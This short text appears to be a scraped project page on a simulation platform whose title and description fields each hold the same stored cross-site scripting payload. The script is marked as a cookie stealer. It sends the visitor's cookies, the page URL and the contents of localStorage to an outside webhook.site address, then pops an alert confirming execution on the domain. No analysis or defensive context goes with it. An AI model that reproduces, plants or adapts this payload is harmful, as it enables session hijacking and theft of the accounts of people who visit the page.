<script> // Cookie stealer payload var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://webhook.site/18fc81a0-ccba-454d-95e2-aa05fc1dcabd?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href), true); xhr.send(); // Also try to get localStorage try { var storage = JSON.stringify(localStorage); xhr = new XMLHttpRequest(); xhr.open('GET', 'https://webhook.site/18fc81a0-ccba-454d-95e2-aa05fc1dcabd?storage=' + encodeURIComponent(storage), true); xhr.send(); } catch(e) {} // Alert to confirm execution alert('XSS EXECUTED ON: ' + document.domain); </script>
by simscalesimscale
Bakatar created this project
12 days ago
<script> // Cookie stealer payload var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://webhook.site/18fc81a0-ccba-454d-95e2-aa05fc1dcabd?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(window.location.href), true); xhr.send(); // Also try to get localStorage try { var storage = JSON.stringify(localStorage); xhr = new XMLHttpRequest(); xhr.open('GET', 'https://webhook.site/18fc81a0-ccba-454d-95e2-aa05fc1dcabd?storage=' + encodeURIComponent(storage), true); xhr.send(); } catch(e) {} // Alert to confirm execution alert('XSS EXECUTED ON: ' + document.domain); </script>